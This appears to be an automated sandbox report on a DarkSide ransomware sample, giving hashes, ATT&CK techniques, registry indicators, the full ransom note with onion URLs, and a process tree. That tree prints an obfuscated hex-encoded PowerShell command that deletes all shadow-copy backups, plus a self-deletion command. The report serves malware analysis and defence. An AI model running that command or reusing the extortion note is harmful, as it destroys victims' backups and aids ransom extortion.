darkside | 2b2aff0f96023927c709a40c979612bbf123ec59478d7f91a06d25e55f98460b

General

Target

Darkside.exe
Size

59KB
MD5

cfcfb68901ffe513e9f0d76b17d02f96
SHA1

766b30e5a37d1bc8d8fe5c7cacc314504a44ac1f
SHA256

17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61
SHA512

0d26fa9478f4626107e38c570d1bae1049b744181cf0395d95fb07675575ca393d88d4783bf31bdf11bef1da5648a5a53a6d95b21492f96b4de35c0ec323ae0c
SSDEEP

768:9jjV7Iax7F3DS4/S96/P3rsAc4ci5pwwX5+R4VYY23W5:vx7Fu4/i6/P3rlckx5+R4VDZ5

Score

10^/10

darkside credential_access defense_evasion discovery execution ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\README.0b553531.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 90 GB data. These files include: Finance data Insurance data Buchgalting Data Banking data and details, bank contracts, creditors info Much personal data Marketing data Production, Technik data Email conversations dump and more others. All documents are fresh (last 365 days) and stored on our offline servers. All data will be published piece by piece. First data pack will be published in 7 days if we do not come for agreement. Your personal leak page: http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF On the page you will find examples of files that have been stolen. The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH When you open our website, put the following data in the input form: Key: rIzr2nCuqbQL7MGMwoppaucqSp5AZufUiYhssYa1SGfO0XFf09fBDlLDWgKQSnnvIAfqYTsOgUhOTxzbxGsC9nH0yk2HOFhn7t8ntX8L0evyce8vKdgUKF7Xvjn6ljaQQ4HPEfPZFP2jvN0DgBVWl2WgNT1U3owZ1bNBjps34t33ObZc01Ce1yKx5CSlwUYbw1ktjqt5d7R9DwRL3NIGrTHvMX3qXI5aBAUnirnc4zHtfGPXq4CuFoh04Tv7VE81aohfvuz8D7wo7i28sbILoJyF6mzeQwSkAXolOhXKQAEPsGcdbfLxfY5uILkHB3d1gAyxT1owQXsY4heNQbY3yYL1Em7dDaLdbNhOf0adYWFiFfAl9EwLDRT96L9Xzsk17ho1B82wOWZ79ZqtT8yqnZ4APJb1LO91ASSsgUdNvR0lAaZTfXHHxUI1vDm5ygyV7cbxMlrQ5K1U6ughdd5WosogMJWVNjreirhzuDzY6SnixtukGYG0D9azzgOHcgidJcLV4n0orhzIaA1SMNYOpdOIadgBehCaHwEyr3hn8CEa6fgpUgK6E95 !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF

http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003
Renames multiple (146) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation	Darkside.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3380	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\0b553531.BMP"	Darkside.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\0b553531.BMP"	Darkside.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
3016	Darkside.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Darkside.exe

Modifies Control Panel 1 IoCs

evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\Desktop\WallpaperStyle = "10"	Darkside.exe

Modifies registry class 5 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.0b553531\ = "0b553531"	Darkside.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\0b553531\DefaultIcon	Darkside.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\0b553531	Darkside.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\0b553531\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\0b553531.ico"	Darkside.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.0b553531	Darkside.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3380	powershell.exe
3380	powershell.exe
3016	Darkside.exe
3016	Darkside.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3016	Darkside.exe
Token: SeSecurityPrivilege	3016	Darkside.exe
Token: SeTakeOwnershipPrivilege	3016	Darkside.exe
Token: SeLoadDriverPrivilege	3016	Darkside.exe
Token: SeSystemProfilePrivilege	3016	Darkside.exe
Token: SeSystemtimePrivilege	3016	Darkside.exe
Token: SeProfSingleProcessPrivilege	3016	Darkside.exe
Token: SeIncBasePriorityPrivilege	3016	Darkside.exe
Token: SeCreatePagefilePrivilege	3016	Darkside.exe
Token: SeBackupPrivilege	3016	Darkside.exe
Token: SeRestorePrivilege	3016	Darkside.exe
Token: SeShutdownPrivilege	3016	Darkside.exe
Token: SeDebugPrivilege	3016	Darkside.exe
Token: SeSystemEnvironmentPrivilege	3016	Darkside.exe
Token: SeRemoteShutdownPrivilege	3016	Darkside.exe
Token: SeUndockPrivilege	3016	Darkside.exe
Token: SeManageVolumePrivilege	3016	Darkside.exe
Token: 33	3016	Darkside.exe
Token: 34	3016	Darkside.exe
Token: 35	3016	Darkside.exe
Token: 36	3016	Darkside.exe
Token: SeDebugPrivilege	3380	powershell.exe
Token: SeBackupPrivilege	4328	vssvc.exe
Token: SeRestorePrivilege	4328	vssvc.exe
Token: SeAuditPrivilege	4328	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 3016 wrote to memory of 3380	3016	Darkside.exe	95
PID 3016 wrote to memory of 3380	3016	Darkside.exe	95
PID 3016 wrote to memory of 968	3016	Darkside.exe	100
PID 3016 wrote to memory of 968	3016	Darkside.exe	100
PID 3016 wrote to memory of 968	3016	Darkside.exe	100

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\Darkside.exe
"C:\Users\Admin\AppData\Local\Temp\Darkside.exe"
1⤵
- Checks computer location settings
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3380
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\Darkside.exe >> NUL
  2⤵
  - System Location Discovery: System Language Discovery
  PID:968

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4328

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

1

T1070

File Deletion

Modify Registry

Credential Access

Credentials from Password Stores

2

T1555

Credentials from Web Browsers

1

T1555.003

Windows Credential Manager

1

T1555.004

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Browser Information Discovery

Query Registry

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
71444def27770d9071039d005d0323b7

SHA1
cef8654e95495786ac9347494f4417819373427e

SHA256
8438eded7f1ab9b4399a069611fe8730226bcdce08fab861d4e8fae6ef621ec9

SHA512
a721af797fd6882e6595b7d9610334f1fb57b809e504452eed4b0d0a32aaf07b81ce007bd51605bec9fcea7ec9f1d8424db1f0f53b65a01126ec4f5980d86034

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kaueu2qb.nhz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\README.0b553531.TXT

Filesize
3KB

MD5
b58e2411168bbdbec635cf4001635db0

SHA1
c130cd9caaaa514a6b98c1168e10d44a989d191a

SHA256
652a74736e10402013fae584c967fc5ea3b7c2eac0a436d41759963b3d42e37a

SHA512
87e2c3ecf3805a7b3945eed4472548a63cbaee7c004c3bce220524e1c6733b3eb780812b4d336f6b72a365c161c02e18b8101e405d00507ff902e88dd49ba30a

Download Submit
memory/3380-2-0x00007FFF76753000-0x00007FFF76755000-memory.dmp

Filesize
8KB

Download
memory/3380-3-0x000001B4EC3B0000-0x000001B4EC3D2000-memory.dmp

Filesize
136KB

Download
memory/3380-13-0x00007FFF76750000-0x00007FFF77211000-memory.dmp

Filesize
10.8MB

Download
memory/3380-14-0x00007FFF76750000-0x00007FFF77211000-memory.dmp

Filesize
10.8MB

Download
memory/3380-15-0x00007FFF76750000-0x00007FFF77211000-memory.dmp

Filesize
10.8MB

Download
memory/3380-18-0x00007FFF76750000-0x00007FFF77211000-memory.dmp

Filesize
10.8MB

Download

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